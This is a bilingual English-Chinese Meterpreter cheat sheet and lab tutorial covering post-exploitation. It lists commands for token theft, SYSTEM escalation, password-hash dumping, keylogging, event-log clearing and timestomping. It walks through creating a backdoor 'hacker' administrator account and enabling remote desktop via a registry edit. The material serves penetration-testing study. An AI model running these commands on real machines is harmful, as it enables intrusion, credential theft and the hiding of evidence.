Meterpreter
Meterpreter Commands Meterpreter 命令
Command
Description
help
Open Meterpreter usage help. 打开 Meterpreter 使用帮助。
run <scriptname>
Run Meterpreter-based scripts; for a full list check the scripts/meterpreter directory. 运行基于 Meterpreter 的脚本;完整列表请查看 scripts/meterpreter 目录。
sysinfo
Show the system information on the compromised target. 显示被入侵目标的系统信息。
ls
List the files and folders on the target. 列出目标上的文件和文件夹。
use priv
Load the privilege extension for extended Meterpreter libraries. 加载扩展 Meterpreter 库的特权扩展。
ps
Show all running processes and which accounts are associated with each process. 显示所有正在运行的进程,以及与每个进程相关的账户。
migrate <proc. id>
Migrate to the specific process ID (PID is the target process ID gained from the ps command). 迁移到特定进程 ID(PID 是通过 ps 命令获得的目标进程 ID)。
use incognito
Load incognito functions. (Used for token stealing and impersonation on a target machine.) 加载隐身功能。(用于在目标机器上窃取令牌和冒名顶替)。
list_tokens -u
List available tokens on the target by user. 按用户列出目标上的可用令牌。
list_tokens -g
List available tokens on the target by group. 按组别列出目标上的可用代币。
impersonate_token <DOMAIN_NAMEUSERNAME>
Impersonate a token available on the target. 假冒目标上的令牌。
steal_token <proc. id>
Steal the tokens available for a given process and impersonate that token. 窃取特定进程可用的令牌并冒充该令牌。
drop_token
Stop impersonating the current token. 停止冒充当前令牌。
getsystem
Attempt to elevate permissions to SYSTEM-level access through multiple attack vectors. 试图通过多种攻击载体将权限提升至 SYSTEM 级访问权限。
shell
Drop into an interactive shell with all available tokens. 使用所有可用令牌进入交互式 shell。
execute -f <cmd.exe> -i
Execute cmd.exe and interact with it. 执行 cmd.exe,并与之交互。
execute -f <cmd.exe> -i -t
Execute cmd.exe with all available tokens. 使用所有可用令牌执行 cmd.exe。
execute -f <cmd.exe> -i -H -t
Execute cmd.exe with all available tokens and make it a hidden process. 使用所有可用令牌执行 cmd.exe,并将其设置为隐藏进程。
rev2self
Revert back to the original user you used to compromise the target. 恢复到你用来入侵目标的原始用户。
reg <command>
Interact, create, delete, query, set, and much more in the target’s registry. 在目标注册表中进行交互、创建、删除、查询、设置等操作。
setdesktop <number>
Switch to a different screen based on who is logged in. 根据登录者切换到不同的屏幕。
screenshot
Take a screenshot of the target’s screen. 给目标屏幕截图。
upload <filename>
Upload a file to the target. 向目标上传文件。
download <filename>
Download a file from the target. 从目标下载文件
keyscan_start
Start sniffing keystrokes on the remote target. 开始嗅探远程目标的按键。
keyscan_dump
Dump the remote keys captured on the target. 转存在目标上捕获的远程密钥。
keyscan_stop
Stop sniffing keystrokes on the remote target. 停止嗅探远程目标的按键。
getprivs
Get as many privileges as possible on the target. 在目标身上获得尽可能多的权限。
uictl enable <keyboard/mouse>
Take control of the keyboard and/or mouse. 控制键盘和/或鼠标。
background
Run your current Meterpreter shell in the background. 在后台运行当前的 Meterpreter shell。
hashdump
Dump all hashes on the target. use sniffer Load the sniffer module. 使用嗅探器 加载嗅探器模块。
sniffer_interfaces
List the available interfaces on the target. 列出目标上的可用接口。
sniffer_dump <interfaceID> pcapname
Start sniffing on the remote target. 开始嗅探远程目标。
sniffer_start <interfaceID> packet-buffer
Start sniffing with a specific range for a packet buffer. 以数据包缓冲区的特定范围开始嗅探。
sniffer_stats <interfaceID>
Grab statistical information from the interface you are sniffing. 从正在嗅探的界面中获取统计信息。
sniffer_stop <interfaceID>
Stop the sniffer. 停止嗅探器。
add_user <username> <password> -h <ip>
Add a user on the remote target. 在远程目标上添加一个用户。
add_group_user <"Domain Admins"> <username> -h <ip>
Add a username to the Domain Administrators group on the remote target. 在远程目标上的域管理员组中添加一个用户名。
clearev
Clear the event log on the target machine. 清除目标计算机上的事件日志。
timestomp
Change file attributes, such as creation date (antiforensics measure). 更改文件属性,如创建日期(反取证措施)。
reboot
Reboot the target machine. 重启目标计算机。
Meterpreter介绍
meterpreter是metasploit中的一个杀手锏,通常在漏洞利用成功后,会返回给攻击者一个攻击通道,其中有很多自动化操作
Meterpreter 启动时和到达目标后,完全停留在内存中,不会向磁盘写入任何内容。由于 Meterpreter 会将自身注入被入侵的进程,因此也不会创建新进程。此外,它还可以从一个运行进程迁移到另一个进程。
meterpreter的使用
meterpreter最出名的就是其接口的方便性,提权,各种命令应有尽有
chcp 65001修改编码
help查看帮助

会显示所有命令的帮助信息,例如background后台运行我们的会话
search
background后台运行我们的会话

如果想要连接我们的会话,使用msfconsole中学习的sessions命令可以来连接

sysinfo 查看靶机系统相关信息

exit断开并退出会话
exit会把会话直接断开
对文件操作的有这些

很容易理解,这些和linux使用的方法是一样的,这里不在一一使用
注意的是:meterpreter中的操作是相对于会话中对我们靶机的操作,而不是攻击机本身
getuid 查看当前会话权限


发下我们获取的管理员的权限,因为是管理员执行的我们的木马。如果是一个低权限用户执行的我们的木马,那么我们的获取的会话也是低权限的用户
getsystem 获取操作系统权限
system:操作系统权限

这个操作大部分情况下是不成功的,因为这个操作是只有我们获取的会话是管理员权限,才可以提权为system权限那么为什么要获取system权限呢,获取system权限我们可以直接使用hashdump把密码hash值导出,使我们对靶机的控制更加方便
hashdump 导出系统中密码的hash值
通过 sam 文件导出系统用户的 hash值,前提是需要获取system权限,有时候获取了system权限我们也无法执行但是,msfconsole中有导出hash的模块,需要在meterpreter 中run 模块路径执行run post/windows/gather/smart_hashdump获取hash


shell 进入会话靶机终端
这里的权限会跟随meterpreter的权限若想返回meterpreter控制台,输入exit退出即可
在进入命令行后,中文可能出现乱码
chcp 65001将终端编码改为英文即可
run getgui -e 开启远程远程桌面
可以试一试能不能开启,权限越高,越容易开启
这里使用了netstat查看靶机端口的开放情况,可以看到3389端口已经被我们开启开启后,如果我们通过hashdump破解的管理员或者其他用户的密码,可以使用用户名密码直接连接
当然我们也可以主机创建用户net user hacker Admin123 /add 和net localgroup administratos hacker /add创建hacker用户并将hacker用户加入管理员组
若run getgui -e没有开启3389远程桌面,我们可以使用cmd命令打开3389服务REG ADD "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 00000000 /f
使用netstat -an查看
netstat 查看靶机端口开放状态
ps 查看靶机进程
会显示靶机运行的进程的进程号,父进程号,运行的名称,多少位,运行的用户是,运行的程序的位置
进程号很有用,后面有两个关于进程的提权
steal_token 窃取用户进程令牌
在系统中,一个程序需要用户来运行,运行到内存中就变成了进程steal_token可以伪装为指定进程的所运行的用户
例如notepad.exe是Administrator用于运行的,那么steal_token只需要指定notepad.exe的进程号,就可以将我们的权限伪装为Administrator
ps 查看进程
可以看到svchost.exe的进程为1268,运行的用户是NT AUTHORRITY/SYSTEM ,拥有system权限的system用户
steal_token 1268伪装system
在我们伪装后,权限就变为了system
migrate 内存迁移
这个内存迁移现在我也不太明白是什么意思,作用和steal_token一样,只需要找到system或管理员的权限,就可以进行提权
ps 查看进程
conhost.exe的进程为2200,运行的用户是Administrator使用内存迁移,获取administrator,这里我们的权限是system,可以说一个权限的降级。注意,这里只是为了演示进行的降级,一般情况下,肯定权限越高越好
migrate 2200
通过getuid获取到现在是Administrator权限
load 加载其他插件
在meterpreter中也可插入其他插件,例如mimimatz,不用下载,在meterpreter中有内置
在help中会有mimikatz插件的帮助
最后更新于
这有帮助吗?